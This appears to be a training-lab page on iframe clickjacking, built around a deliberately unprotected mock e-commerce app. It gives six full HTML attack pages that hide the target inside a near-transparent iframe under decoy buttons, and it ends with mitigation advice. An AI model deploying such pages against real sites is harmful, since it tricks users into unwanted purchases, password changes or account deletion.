Lab 2: Clickjacking with iframe

Difficulty: Medium

Lab Overview

This lab demonstrates clickjacking vulnerabilities using iframe overlays. Attackers can embed the vulnerable application in an iframe and overlay malicious content to trick users into performing unintended actions.

Objective: Understand how iframe-based clickjacking attacks work and how to exploit them.

Vulnerable Application

E-commerce Platform

Welcome to our e-commerce platform! Here are some actions you can perform:

iframe Clickjacking Tester

⚠️ iframe Clickjacking Warning

This lab demonstrates iframe clickjacking vulnerabilities:

No X-Frame-Options - Missing frame protection
No CSP frame-ancestors - Missing CSP protection
iframe embedding allowed - Can be embedded in iframes
Vulnerable buttons - Action buttons can be overlaid

iframe Attack Vectors

These actions can be exploited via iframe clickjacking:

Like Product - Social media manipulation
Follow Seller - Unwanted following
Share Product - Unwanted sharing
Delete Account - Account deletion
Change Password - Password changes
Make Purchase - Financial fraud

iframe Clickjacking Demo

iframe Clickjacking Demonstration:

This demonstrates how the vulnerable application can be embedded in an iframe and overlaid with malicious content:

🎁 Click here to win $1000!

The iframe above contains the vulnerable application. The blue overlay is what users see, but clicks go to the hidden iframe below.

Action Results

Action Results:

No actions performed yet

Vulnerability Details

Type: iframe Clickjacking
Severity: Medium
Method: iframe overlays
Issue: Missing frame protection

Attack Vectors

iframe Overlays: Overlay malicious content
Button Manipulation: Trick users into clicking
Form Manipulation: Manipulate form submissions
Social Engineering: Combine with social engineering

iframe Clickjacking Examples

Use these techniques to exploit iframe clickjacking vulnerabilities:

1. Basic iframe Overlay Attack:

<!DOCTYPE html>
<html>
<head>
    <title>iframe Clickjacking Attack</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: linear-gradient(45deg, #ff6b6b, #4ecdc4);
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #28a745;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
        .hidden-iframe {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 350px;
            height: 250px;
            opacity: 0.01;
            z-index: 5;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="fake-content">
            <h1>🎁 Special Offer!</h1>
            <p>You've been selected for a special promotion!</p>
            <p>Click below to claim your reward.</p>
            <button class="fake-button">Claim Reward Now</button>
        </div>
        <iframe class="hidden-iframe" src="http://vulnerable-site.com/clickjacking/2.php"></iframe>
    </div>
</body>
</html>

2. Advanced iframe Clickjacking:

<!DOCTYPE html>
<html>
<head>
    <title>Advanced iframe Clickjacking</title>
    <style>
        .wrapper {
            position: relative;
            width: 100%;
            height: 100vh;
            background: #f8f9fa;
        }
        .fake-app {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 30px;
            border-radius: 20px;
            text-align: center;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            z-index: 10;
        }
        .fake-button {
            background: #007bff;
            color: white;
            padding: 15px 30px;
            border: none;
            border-radius: 25px;
            font-size: 16px;
            cursor: pointer;
            margin: 10px;
        }
        .hidden-iframe {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 300px;
            height: 200px;
            opacity: 0.01;
            z-index: 5;
        }
    </style>
</head>
<body>
    <div class="wrapper">
        <div class="fake-app">
            <h2>📱 New App Update</h2>
            <p>Update available! Tap to install.</p>
            <button class="fake-button">Install Update</button>
        </div>
        <iframe class="hidden-iframe" src="http://vulnerable-site.com/clickjacking/2.php"></iframe>
    </div>
</body>
</html>

3. Social Engineering iframe Attack:

<!DOCTYPE html>
<html>
<head>
    <title>Social Engineering iframe Attack</title>
    <style>
        .overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.9);
            z-index: 9999;
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10000;
        }
        .fake-button {
            background: #dc3545;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
        .hidden-iframe {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 350px;
            height: 250px;
            opacity: 0.01;
            z-index: 10001;
        }
    </style>
</head>
<body>
    <div class="overlay">
        <div class="fake-content">
            <h2>⚠️ Security Alert</h2>
            <p>Your account has been compromised.</p>
            <p>Click below to secure it immediately.</p>
            <button class="fake-button">Secure Account Now</button>
        </div>
        <iframe class="hidden-iframe" src="http://vulnerable-site.com/clickjacking/2.php"></iframe>
    </div>
</body>
</html>

4. Mobile iframe Clickjacking:

<!DOCTYPE html>
<html>
<head>
    <title>Mobile iframe Clickjacking</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        .mobile-container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
        }
        .fake-mobile-app {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 30px;
            border-radius: 20px;
            text-align: center;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            z-index: 10;
        }
        .fake-button {
            background: #28a745;
            color: white;
            padding: 15px 30px;
            border: none;
            border-radius: 25px;
            font-size: 16px;
            cursor: pointer;
            margin: 10px;
        }
        .hidden-iframe {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 300px;
            height: 200px;
            opacity: 0.01;
            z-index: 5;
        }
    </style>
</head>
<body>
    <div class="mobile-container">
        <div class="fake-mobile-app">
            <h2>🎁 Special Offer!</h2>
            <p>You've been selected for a special promotion!</p>
            <button class="fake-button">Claim Reward Now</button>
        </div>
        <iframe class="hidden-iframe" src="http://vulnerable-site.com/clickjacking/2.php"></iframe>
    </div>
</body>
</html>

5. Multi-layer iframe Attack:

<!DOCTYPE html>
<html>
<head>
    <title>Multi-layer iframe Attack</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: #f0f0f0;
        }
        .layer1 {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(255, 0, 0, 0.1);
            z-index: 1;
        }
        .layer2 {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 255, 0, 0.1);
            z-index: 2;
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #007bff;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
        .hidden-iframe {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 350px;
            height: 250px;
            opacity: 0.01;
            z-index: 5;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="layer1"></div>
        <div class="layer2"></div>
        <div class="fake-content">
            <h1>🎉 Congratulations!</h1>
            <p>You've won a prize! Click below to claim it.</p>
            <button class="fake-button">Claim Prize</button>
        </div>
        <iframe class="hidden-iframe" src="http://vulnerable-site.com/clickjacking/2.php"></iframe>
    </div>
</body>
</html>

6. Dynamic iframe Clickjacking:

<!DOCTYPE html>
<html>
<head>
    <title>Dynamic iframe Clickjacking</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: linear-gradient(45deg, #ff6b6b, #4ecdc4);
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #28a745;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
        .hidden-iframe {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 350px;
            height: 250px;
            opacity: 0.01;
            z-index: 5;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="fake-content">
            <h1>🎁 Special Offer!</h1>
            <p>You've been selected for a special promotion!</p>
            <button class="fake-button" onclick="createIframe()">Claim Reward Now</button>
        </div>
    </div>
    
    <script>
        function createIframe() {
            const iframe = document.createElement('iframe');
            iframe.src = 'http://vulnerable-site.com/clickjacking/2.php';
            iframe.style.position = 'absolute';
            iframe.style.top = '50%';
            iframe.style.left = '50%';
            iframe.style.transform = 'translate(-50%, -50%)';
            iframe.style.width = '350px';
            iframe.style.height = '250px';
            iframe.style.opacity = '0.01';
            iframe.style.zIndex = '5';
            document.body.appendChild(iframe);
        }
    </script>
</body>
</html>

Real-World Attack Scenarios

E-commerce manipulation and unwanted purchases
Social media manipulation and unwanted actions
Financial fraud and payment manipulation
Account takeover and password changes
Settings manipulation and configuration changes
Compliance violations and security breaches

Mitigation Strategies

Implement X-Frame-Options header (DENY, SAMEORIGIN)
Use Content Security Policy (CSP) frame-ancestors directive
Implement JavaScript-based clickjacking protection
Use SameSite cookie attributes
Regular security testing and vulnerability assessments
Monitor for unusual user actions
Implement proper authentication and authorization
Use CAPTCHA for sensitive actions
Implement rate limiting and request validation
Educate users about clickjacking attacks